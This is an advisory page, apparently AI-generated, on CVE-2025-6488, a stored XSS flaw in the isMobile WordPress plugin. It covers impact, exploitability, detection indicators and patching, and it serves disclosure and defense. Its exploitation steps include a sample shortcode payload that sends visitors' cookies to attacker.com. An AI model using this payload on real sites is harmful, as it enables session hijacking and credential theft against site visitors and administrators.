CVE-2025-6488
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-6488 is a Stored Cross-Site Scripting (XSS) vulnerability in the isMobile plugin for WordPress, affecting all versions up to and including 1.1.1. The flaw arises from insufficient input sanitization and output escaping of the device parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages. The vulnerability was published on June 27, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize the device parameter before storing it and fails to escape it on output, enabling persistent script injection. An attacker with at least Contributor-level WordPress access can craft a malicious shortcode or page content containing a JavaScript payload via the device parameter; the payload executes in the browser of any user who subsequently visits the affected page. A patch was committed to the plugin repository (changeset 3318334) (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers whenever they visit an injected page, potentially leading to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the injected script persists in stored content, every subsequent visitor to the affected page is at risk without any further attacker interaction. The scope is changed (S:C in CVSS), meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors, with low confidentiality and integrity impacts and no direct availability impact (Wordfence, Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-6488 as of the available data. The EPSS score is approximately 0.029% (0.00029), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

Exploitation steps

  1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running isMobile plugin ≤ 1.1.1.
  2. Craft Malicious Content: Create or edit a post/page using the isMobile shortcode, injecting a JavaScript payload into the device parameter (e.g., [ismobile device="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]).
  3. Submit and Store: Publish or save the post/page, causing the unsanitized payload to be stored in the WordPress database.
  4. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing <script>, encoded JavaScript, or event handler attributes (e.g., onerror=, onload=) within the device parameter value.
  • Database: Unexpected JavaScript or HTML event handler content stored in wp_posts or wp_postmeta tables associated with isMobile shortcode usage.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing isMobile shortcodes, potentially indicating cookie exfiltration or redirects.
  • File System: No direct file system artifacts expected for stored XSS, but review plugin files for unauthorized modifications to ismobile plugin directory (/wp-content/plugins/ismobile/).

Mitigation and workarounds

Site administrators should update the isMobile plugin to a version beyond 1.1.1 that incorporates the fix committed in changeset 3318334 on the WordPress plugin repository. If an immediate update is not possible, consider disabling the plugin until a patched version is available, or restricting Contributor-level user registrations and post publishing capabilities. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (WordPress Trac, Wordfence).

Community reactions

Wordfence reported the vulnerability as part of their weekly WordPress vulnerability report for the period of June 23–29, 2025, noting it as a medium-severity stored XSS issue. No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified (Wordfence Blog).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15239NONEN/A
  • simple-cloudflare-turnstile
NoYesAug 07, 2026
CVE-2026-15211NONEN/A
  • subscriptions-for-woocommerce
NoYesAug 07, 2026
CVE-2026-15148NONEN/A
  • wp-events-manager
NoYesAug 07, 2026
CVE-2026-16265NONEN/A
  • wp-google-map-plugin
NoYesAug 07, 2026
CVE-2026-16263NONEN/A
  • wp-google-map-plugin
NoYesAug 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management